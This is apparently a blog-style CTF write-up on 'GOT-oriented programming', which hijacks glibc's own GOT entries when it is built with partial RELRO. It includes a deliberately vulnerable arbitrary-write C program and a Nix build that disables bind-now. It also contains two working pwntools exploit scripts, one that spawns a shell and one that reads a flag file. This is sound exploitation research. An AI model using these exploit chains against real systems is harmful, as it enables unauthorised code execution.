The other day I was working on a pwn challenge and I noticed something interesting: its version of libc had partial RELRO enabled. To redirect control flow I tried overwriting one of libc’s GOT entries with a one_gadget, but I didn’t have enough register control to pop a shell. That got me thinking: what if we could use libc’s GOT as a sort of jump table? This is a technique (itself a specific kind of JOP) I’d like to dub “GOT-oriented programming” (GOP).
The GOT overwrite attack is as old as time memoriam; clobber a GOT/PLT entry and redirect execution of a particular function to an attacker controlled address.
Developers have wised up since then and realized the cons of lazy binding GOT entries far outweigh the pros, so an option called full RELRO (-z,now) was implemented which disables lazy binding and makes the GOT read-only.1
Although you usually hear about the GOT in the context of a binary dynamically linked against glibc, glibc has its own GOT to determine at runtime the most efficient version of a function that the hardware supports (stuff like AVX optimized memcpy).
Because these optimized functions are somewhat common (otherwise, why bother optimizing them), there are many gadgets in libc that setup registers for a function call and then perform an indirect jump to a GOT entry.
In practice, it only takes a few of these “GOP gadgets” to achieve nearly full register control, and from there it’s trivial to get a shell.
To be specific, the requirements for GOP are
.got.plt needs to be called at some point after the corruption takes place in order to start the GOP chainI’ve found this to be an interesting way to pivot an arbitrary write to code execution, even if it’s not as fancy as techniques like setcontext, FSOP, or _dini_handler.
I’ll demonstrate the power of this technique with a simplified example using glibc 2.432 (compiled with --disable-bind-now):
C pwnable.c
#include <stdint.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main() {
setbuf(stdout, NULL);
printf("puts() @ %p\n", &puts);
while (true) {
uint64_t data = 0;
size_t address;
printf("write: ");
read(0, &data, 8);
if (!strncmp("cancel", (void*)&data, 7)) break;
printf("where: ");
read(0, &address, 8);
*(uint64_t*)address = data;
}
return 0;
}Nix flake.nix
{
description = ''the best part was when he said "IT'S GOPPIN' TIME" and gopped all over those guys'';
inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixpkgs-unstable";
outputs = { nixpkgs, ... }:
let
system = "x86_64-linux";
lib = nixpkgs.lib;
pkgs = import nixpkgs { inherit system; };
in
{
packages.${system}.default = with pkgs; let
glibc' = stdenv.mkDerivation rec {
pname = "glibc";
version = "2.43";
src = fetchurl {
url = "mirror://gnu/glibc/glibc-${version}.tar.xz";
hash = "sha256-2chsa12920Oj4IJwxYRPxRd9GUQs9bjfS+fAfNX6ODE=";
};
nativeBuildInputs = [
bison
python3Minimal
];
NIX_NO_SELF_RPATH = true;
preConfigure = ''
mkdir build; cd build
configureScript="$(pwd)/../configure"
export NIX_DONT_SET_RPATH=1
'';
configureFlags = [
(lib.enableFeature false "bind-now")
(lib.enableFeature true "cet")
];
hardeningDisable = [
"fortify"
"bindnow"
];
};
gcc' = wrapCCWith {
cc = gcc-unwrapped;
libc = glibc';
bintools = binutils.override { libc = glibc'; };
};
stdenv' = overrideCC stdenv gcc';
in
stdenv'.mkDerivation {
name = "pwnable";
src = ./.;
env = {
NIX_CFLAGS_COMPILE = "-fcf-protection=full";
NIX_LDFLAGS = "-z cet-report=error";
};
buildPhase = "$CC pwnable.c -o pwnable";
installPhase = "mv pwnable $out";
};
};
}To start, we should investigate what functions are in glibc’s GOT:
Next, let’s investigate which of the above functions are called throughout the program. Nothing is called as part of glibc’s exit routine, but what about in the core loop?
start
# first printf
tb *main+148
c
record btrace
set record btrace bts buffer-size unlimited
# second printf
tb *main+94
c
set record function-call-history-size unlimited
record function-call-history /c
|
|
Aha! printf ends up calling strchrnul and memcpy through their .got.plt entries, which we can hijack!3
Note that the functions read@plt and strcmp@plt are entries in our program’s GOT, not libc’s.
Now, given the completely arbitrary write and libc leak there are a myriad of ways to achieve code execution, but let’s try some GOP. To up the ante, I will only consider gadgets that start at the beginning of functions so our exploit will work even if IBT is enabled.4
We have very limited stack control and absolutely no register control when either of strchrnul or memcpy are called, so we need a gadget that can read the contents of writable libc memory into a register. After some searching I came across this guy:
__error_at_line_internal:
// ...
mov rax, qword [rel error_one_per_line]
mov dword [rbp-0x44 {var_4c}], edi
mov eax, dword [rax]
test eax, eax
je label1
label1:
cmp dword [rel old_line_number.0], ecx
je label2
label2:
mov rdi, qword [rel old_file_name.1]
cmp rdi, rdx
je bad
test rdx, rdx
je bad
test rdi, rdi
je bad
mov rsi, rdx
call j___GI_strcmp
bad:
// ...There’s a lot of unrelated stuff going on, but the general idea is that rdi is set to the value of a variable in libc’s .bss section (old_file_name) before jumping to a .got.plt function (strcmp).
The conditions we need to meet for this codepath are
error_one_per_line != 0old_line_number == ecx (here ecx is 2)old_file_name != rdx && old_file_name != 0 && rdx != 0 (the first two conditions are trivial because we want to control old_file_name anyway, and rdx happens to be nonzero)Let’s try it:
from pwn import *
context.log_level = 'warning'
elf = context.binary = ELF("pwnable")
libc = ELF(elf.runpath.split(b':')[1] + b"/libc.so.6")
def write(data, location):
p.sendafter(b"write: ", data)
p.sendafter(b"where: ", p64(location))
p = remote("localhost", 1337)
p.recvuntil(b"puts() @ ")
libc.address = int(p.recvline(), 16) - libc.sym.puts
write(p8(1), libc.sym.error_one_per_line)
write(p8(2), libc.sym.old_line_number['0'])
write(p64(next(libc.search(b"/bin/sh\x00"))), libc.sym.old_file_name['1'])
write(p64(libc.sym.system), libc.got["__GI_strcmp"])
write(p64(libc.sym.__error_at_line_internal), libc.got["__GI___strchrnul"])
p.sendline(b"id")
print(p.recvline())b'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'But that’s a very short chain… what if we needed to cat the flag without a shell?
Here’s a (likely overcomplicated) GOP chain used to print the contents of "/tmp/flag.txt" and then cleanly exit the program:
from pwn import *
context.log_level = 'warning'
elf = context.binary = ELF("pwnable")
libc = ELF(elf.runpath.split(b':')[1] + b"/libc.so.6")
def write(data, location):
p.sendafter(b"write: ", data)
p.sendafter(b"where: ", p64(location))
p = remote("localhost", 1337)
p.recvuntil(b"puts() @ ")
libc.address = int(p.recvline(), 16) - libc.sym.puts
write(p8(1), libc.sym.error_one_per_line)
write(p8(2), libc.sym.old_line_number['0'])
write(b"/tmp/flag.txt\x00"[:8], libc.sym.tmpnam_buffer)
write(b"/tmp/flag.txt\x00"[8:], libc.sym.tmpnam_buffer+8)
write(p64(libc.sym.tmpnam_buffer), libc.sym.old_file_name['1'])
write(p64(libc.sym.__libc_procutils_read_file), libc.got["__GI_strcmp"])
write(p64(libc.sym.explicit_bzero), libc.got["__GI_memchr"])
write(p64(libc.sym.puts), libc.got["__GI_memset"])
write(p64(libc.sym._exit), libc.got["__GI___strnlen"])
write(p64(libc.sym.__error_at_line_internal), libc.got["__GI_strpbrk"])
write(p64(libc.sym.__nss_valid_field), libc.got["__GI_strchr"])
write(p64(libc.sym.putenv), libc.got["__GI___strchrnul"])
p.recvline()
print(p.recvline())Clearly this is a very versatile technique!
As I said, you’re unlikely to find a modern version of glibc compiled with partial RELRO in the wild, but hopefully this can serve as a tool for more contrived situations like CTFs. I also wanted to mention related works by n132 and pepsipu; although these are not quite the same thing as GOP, they are still interesting (and perhaps more practical) examples of pivoting an arbitrary write into code execution.